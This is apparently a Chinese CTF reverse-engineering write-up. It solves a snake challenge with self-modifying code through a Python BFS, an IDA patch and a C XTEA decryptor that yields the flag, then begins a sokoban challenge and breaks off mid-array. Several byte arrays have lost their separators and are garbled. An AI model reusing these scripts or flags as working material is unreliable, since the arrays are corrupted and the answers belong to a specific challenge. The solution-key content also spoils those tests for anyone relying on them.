func = [0xBD0xBD0xBD0xBD0xBD0xBD0xBD0xBD0xBD0xBD0xBD0x380x4C0xB00x380x6D0xEE0x3F0xC40xB40xB40x090x6A0xF00x380x2C0x790xF60x340xE90x890x380xAC0x7F0x350xD40xB40xB40x380x6D0x770xF60xB60x380x6D0x780xF60xB60x2B0x180xB40xB40xB40x3B0x810x810x810x810xEF0x4E0x380x4C0x7D0xF60x330xD40xB40xB40xB00xE80xF40xB40xB40xB40xB40xB00xE80xF60x2B0x270xA30x1D0x3B0xF40xB40xB40xB40x380x4A0xC00xB40xB00xF80x040x380x890xE30xC30xCA0x3B0xF40xB40xB40xB40x380x4A0xC00xC40xB00xF80x040x380xB30x670xE30x160x3B0xF40xB40xB40xB40x380x4A0xC00xD40xB00xF80x040x380xB60xD30xB60xA90x3B0xF40xB40xB40xB40x380x4A0xC00xE40xB00xF80x040x380x890xD80xC70x330x3B0xF40xB40xB40xB40x380x4A0xC00xB40x2B0xF40xB40xB40xB40x380x4A0x500xB40x380x4C0xED0xB50xD40xB40xB40x4C0xF40xD40x2C0xF80x850x370x3B0xF40xB40xB40xB40x380x4A0xC00xC40x2B0xF40xB40xB40xB40x380x4A0x500xC40x380x4C0xED0xB50xD40xB40xB40x4C0xF40xD40x2C0xF80x850x370x3B0xF40xB40xB40xB40x380x4A0xC00xD40x2B0xF40xB40xB40xB40x380x4A0x500xD40x380x4C0xED0xB50xD40xB40xB40x4C0xF40xD40x2C0xF80x850x370x3B0xF40xB40xB40xB40x380x4A0xC00xE40x2B0xF40xB40xB40xB40x380x4A0x500xE40x380x4C0xED0xB50xD40xB40xB40x4C0xF40xD40x2C0xF80x850x370xB00xEC0xFE0xB40xB40xB40xB40xB40xB40xB40x6F0x140x4C0xEC0xFE0xB40xB40xB40x2F0xC00x2C0xEC0xFE0xB40xB40xB40xCC0x6C0xFE0xB40xB40xB40xB60x240xCC0x720xB40xB40xB40x3B0xF40xB40xB40xB40x380x4A0xC00xB40x2B0xF40xB40xB40xB40x380x4A0x500xC40x4C0x790x850x370xD00xD20xF40x5B0xF40xB40xB40xB40x380x4A0xE10xC40x4C0xF90x050x370xD00x620x040xE30x600x5B0xF40xB40xB40xB40x380x4A0xE10xC40xE40x790x050x370x4C0xE90xF40xCC0xE20xE40x4C0xE10x4C0xF90xED0x380xF80x4C0xE80xF40xF80xE40xE00xA80x4C0xC10xE30x600xE40x790x040x370x4C0xD00x2B0xF40xB40xB40xB40x380x4A0x500xB40x2C0xF80x850x370x4C0xE80xF60x4C0x690xF40xE40x400x4C0xD00x2C0xE80xF40x3B0xF40xB40xB40xB40x380x4A0xC00xC40x2B0xF40xB40xB40xB40x380x4A0x500xB40x4C0x790x850x370xD00xD20xF40x5B0xF40xB40xB40xB40x380x4A0xE10xB40x4C0xF90x050x370xD00x620x040xE30x600x5B0xF40xB40xB40xB40x380x4A0xE10xB40xE40x790x050x370x4C0xE90xF40xD00x620x640xCC0xE20xE40x4C0xE10x4C0xF90xED0x380xF80x4C0xE80xF40xF80xE40xE00xA80x4C0xC10xE30x600xE40x790x040x370x4C0xD00x2B0xF40xB40xB40xB40x380x4A0x500xC40x2C0xF80x850x370x520x540x2F0x2F0x2F0xB00xEC0x000xB40xB40xB40xB40xB40xB40xB40x6F0x140x4C0xEC0x000xB40xB40xB40x2F0xC00x2C0xEC0x000xB40xB40xB40xCC0x6C0x000xB40xB40xB40xB60x240xCC0x720xB40xB40xB40x3B0xF40xB40xB40xB40x380x4A0xC00xD40x2B0xF40xB40xB40xB40x380x4A0x500xE40x4C0x790x850x370xD00xD20xF40x5B0xF40xB40xB40xB40x380x4A0xE10xE40x4C0xF90x050x370xD00x620x040xE30x600x5B0xF40xB40xB40xB40x380x4A0xE10xE40xE40x790x050x370x4C0xE90xF40xCC0xE20xE40x4C0xE10x4C0xF90xED0x380xF80x4C0xE80xF40xF80xE40xE00xA80x4C0xC10xE30x600xE40x790x040x370x4C0xD00x2B0xF40xB40xB40xB40x380x4A0x500xD40x2C0xF80x850x370x4C0xE80xF60x4C0x690xF40xE40x400x4C0xD00x2C0xE80xF40x3B0xF40xB40xB40xB40x380x4A0xC00xE40x2B0xF40xB40xB40xB40x380x4A0x500xD40x4C0x790x850x370xD00xD20xF40x5B0xF40xB40xB40xB40x380x4A0xE10xD40x4C0xF90x050x370xD00x620x040xE30x600x5B0xF40xB40xB40xB40x380x4A0xE10xD40xE40x790x050x370x4C0xE90xF40xD00x620x640xCC0xE20xE40x4C0xE10x4C0xF90xED0x380xF80x4C0xE80xF40xF80xE40xE00xA80x4C0xC10xE30x600xE40x790x040x370x4C0xD00x2B0xF40xB40xB40xB40x380x4A0x500xE40x2C0xF80x850x370x520x540x2F0x2F0x2F0x3B0xF40xB40xB40xB40x380x4A0xC00xB40x2B0xF40xB40xB40xB40x380x4A0x500xD40x4C0x790x850x370x4C0xF80x040x370xE30xD00x2B0xF40xB40xB40xB40x380x4A0x500xB40x2C0xF80x850x370x3B0xF40xB40xB40xB40x380x4A0xC00xC40x2B0xF40xB40xB40xB40x380x4A0x500xE40x4C0x790x850x370x4C0xF80x040x370xE30xD00x2B0xF40xB40xB40xB40x380x4A0x500xC40x2C0xF80x850x370x3B0xF40xB40xB40xB40x380x4A0xC00xE40x2B0xF40xB40xB40xB40x380x4A0x500xB40x4C0x790x850x370x4C0xF80x040x370xE30xD00x2B0xF40xB40xB40xB40x380x4A0x500xE40x2C0xF80x850x370x3B0xF40xB40xB40xB40x380x4A0xC00xC40x2B0xF40xB40xB40xB40x380x4A0x500xD40x4C0x790x850x370x4C0xF80x040x370xE30xD00x2B0xF40xB40xB40xB40x380x4A0x500xD40x2C0xF80x850x370xA00xEC0x420xB40xB40xB40x3D0xA00xEC0x520xB40xB40xB40xBE0xA00xEC0x620xB40xB40xB40x510xA00xEC0x6F0xB40xB40xB40x3D0xA00xEC0x7F0xB40xB40xB40x5B0xA00xEC0x120xB40xB40xB40x8D0xA00xEC0x220xB40xB40xB40x650xA00xEC0x320xB40xB40xB40xA70xA00xEC0xBF0xB40xB40xB40x4D0xA00xEC0xCF0xB40xB40xB40xAC0xA00xEC0xDF0xB40xB40xB40xF80xA00xEC0xEF0xB40xB40xB40x060xA00xEC0xFF0xB40xB40xB40xE90xA00xEC0x8F0xB40xB40xB40x3B0xA00xEC0x9F0xB40xB40xB40xA30xA00xEC0xAF0xB40xB40xB40x310xB00xEC0xF50xC40xB40xB40xB40xB40xB40xB40x6F0x140x4C0xEC0xF50xC40xB40xB40x2F0xC00x2C0xEC0xF50xC40xB40xB40xCC0x6C0xF50xC40xB40xB40xB50x680xE60x380xCA0xEC0xF50xC40xB40xB40x240x1B0xF80x040x370x380xCA0x6D0xF50xC40xB40xB40x240x1B0x7D0x850x420xB40xB40xB40x630xD00xF70xF40xD30xC00x6F0xF40x6F0x000xBB0xC40x380x4C0x3F0xBD0xBD0xBD0xBD0xBD]
funcHash = bytes([0x9C0x060xC00x8F0x880x2D0x790x810xE90x1D0x660x330x640xCE0x5E0x2E])
q = []
d = [(-10), (10), (0-1), (01)]
# 方向,用于调试
arrow = ['a''d''w''s']
# 题目中的按键:arrow = ['w', 's', 'd', 'a']

def get_dir(delta, type): # 变化量 -> 方向
    assert type in [01# 0 -> t[0] -> x; 1 -> t[1] -> y
    if delta < 0:
        return type << 1 # 左0 / 上2
    elif delta > 0:
        return (type << 1) | 1 # 右1 / 下3
    else:
        return None

def change_func(f, d): # smc处理
    assert d in range(4)
    if d == 0:
        rslt = f[6:] + f[:6]
    elif d == 1:
        rslt = [(x + 30) & 0xFF for x in f]
    elif d == 2:
        rslt = [(x - 102) & 0xFF for x in f]
    else:
        rslt = [((x >> 5) | (x << 3)) & 0xFF for x in f]
    assert id(rslt) != id(f)
    return rslt

q.append((1010, arrow[1], 0, func.copy()))
lst_dir = None
while q:
    cur = q.pop(0)
    x, y, s, r, f = cur
    if md5(bytes(f)).digest() == funcHash: # 终止
        print(s, f)
        break
    rx, ry = rand[r][0], rand[r][1]
    delta = (rx - x, ry - y)
    r += 1
    t = (get_dir(delta[0], 0), get_dir(delta[1], 1)) # 总体上应该走的方向,应in range(4)或者None
    pd = arrow.index(s[-1]) # 当前蛇头方向
    ####
    # pd ^ 1: 与pd方向相反
    # pd ^ 2: pd方向旋转90度(左/右为顺时针,上/下为逆时针)
    # pd ^ 3: pd方向旋转90度(左/右为逆时针,上/下为顺时针)
    if None in t: # 横坐标或纵坐标相同
        for i in range(2):
            if t[i] is not None:
                if delta[i] * d[pd][i] < 0# 反向
                    q.append((rx, ry, f"{s}{arrow[pd^2]}{arrow[pd^1]}{arrow[pd^3]}", r, change_func(change_func(change_func(f, pd^2), pd^1), pd^3)))
                    q.append((rx, ry, f"{s}{arrow[pd^3]}{arrow[pd^1]}{arrow[pd^2]}", r, change_func(change_func(change_func(f, pd^3), pd^1), pd^2)))
                elif delta[i] * d[pd][i] > 0# 同向
                    q.append((rx, ry, s, r, f))
                else# 垂直
                    q.append((rx, ry, f"{s}{arrow[t[i]]}", r, change_func(f, t[i])))
                break
        else# 刚好刷新在当前蛇头地点
            q.append((rx, ry, s, r, f))
    elif pd in t: # 包含当前行进方向
        for i in range(2):
            if pd != t[i]:
                q.append((rx, ry, f"{s}{arrow[t[i]]}", r, change_func(f, t[i])))
                break
    else# 不包含当前行进方向
        for i in range(2):
            if pd & 2 != t[i] & 2:
                q.append((rx, ry, f"{s}{arrow[t[i]]}{arrow[pd^1]}", r, change_func(change_func(f, t[i]), pd^1)))
                break
    # print((x, y), (rx, ry), s, q[-1][2])

旧的附件数组数据和算法有问题(并且也接收同向按键),md5值也不全,根本爆不出来,只能等第二天更新附件以后再尝试。新的附件可以爆出来(d是初始蛇头方向,用来做初始值,但不用更改数组):

用IDA Python把数组patch回去转函数就能看到func:

get = [721377636, ...] # 上面爆出来的结果
ea = 0x14001F000
for i in range(len(get)):
    patch_byte(ea+i, get[i])

算法可以看到是检查a1,简单XTEA+xor:

delta没魔改,就是sum连续用了两次而已,exp:

#include <stdio.h>
#include <stdint.h>

uint32_t delta = 0x9E3779B9;

void dec(uint32_t sum, uint32_t v[2], uint32_t key[4]) {
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1];
    for (i=0; i < 32; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0]=v0; v[1]=v1;
}

int main() {
    uint32_t s[5] = {256439925618976337227930187793744970837}; // 密文
    char key[17] = "W31c0m3. 2 QWBs8";
    s[2] ^= s[1];
    s[3] ^= s[0];
    s[1] ^= s[3];
    s[0] ^= s[2];
    dec(delta * 64, &s[2], (uint32_t *)key);
    dec(delta * 32, s, (uint32_t *)key);
    printf("%s\n", s);
    return 0;
}
// flag{G0@d_Snake}

静态flag差评,被打烂了(

boxx

简单推箱子,但是又是算法题。逆向没啥难度,题目要求就是:

flag是每个关卡中每个箱子移动的最短的次数拼接的md5码值和几个字符,1.flag{四个字符_md5值},2.注意同一张图箱子不一定只有一个哦3.同一关需要计算所有箱子的总的最小移动次数,将每一关的最短次数拼接  解释:例如第一关是3第二关是5,就是md5(35...)

地图都存在0x404040,获取人和箱子的位置:

四个方向的函数就是移动和判断是否合法,以及箱子是否推上了目标点。

拷打LLM拿到了一份计算多个箱子移动最短距离的代码,但是代码里其实是直接把箱子当人计算的,拷打了好久都拿不到正确的结果,所以还不如打印出来手推,反正他只要箱子的最短路径又不是人的(

# import pexpect
from hashlib import md5

mapp = [0x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000040x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000030x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000020x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000020x000000000x000000000x000000030x000000000x000000000x000000000x000000040x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000010x000000010x000000010x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000030x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000040x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000040x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000030x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000020x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000040x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000030x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000020x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000040x000000000x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000030x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000020x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000040x000000000x000000000x000000000x000000000x000000000x000000030x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000020x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000010x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000010x000000000x000000000x000000000x000000010x000000000x000000000x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000000x000000010x000000010x000000000x000000010x000000010x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000010x000000010x000000010x000000010x000000010x000000010x000000000x000000010x000000010x000000010x000000000x000000010x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000010x000000000x000000000x000000000x000000000x000000000x000000000x000000030x000000000x000000010x000000000x000000000x000000010x000000010x000000010x000000010x0000000